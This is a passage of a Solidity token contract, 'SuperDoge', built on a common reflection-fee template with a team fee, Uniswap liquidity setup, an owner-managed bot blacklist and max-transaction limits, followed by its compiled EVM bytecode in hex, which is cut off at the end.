address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SuperDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Super Doge t.me/sdogeofficial";
string private constant _symbol = "SuperDoge";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601d81526020017f537570657220446f676520742e6d652f73646f67656f6666696369616c000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5375706572446f67650000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613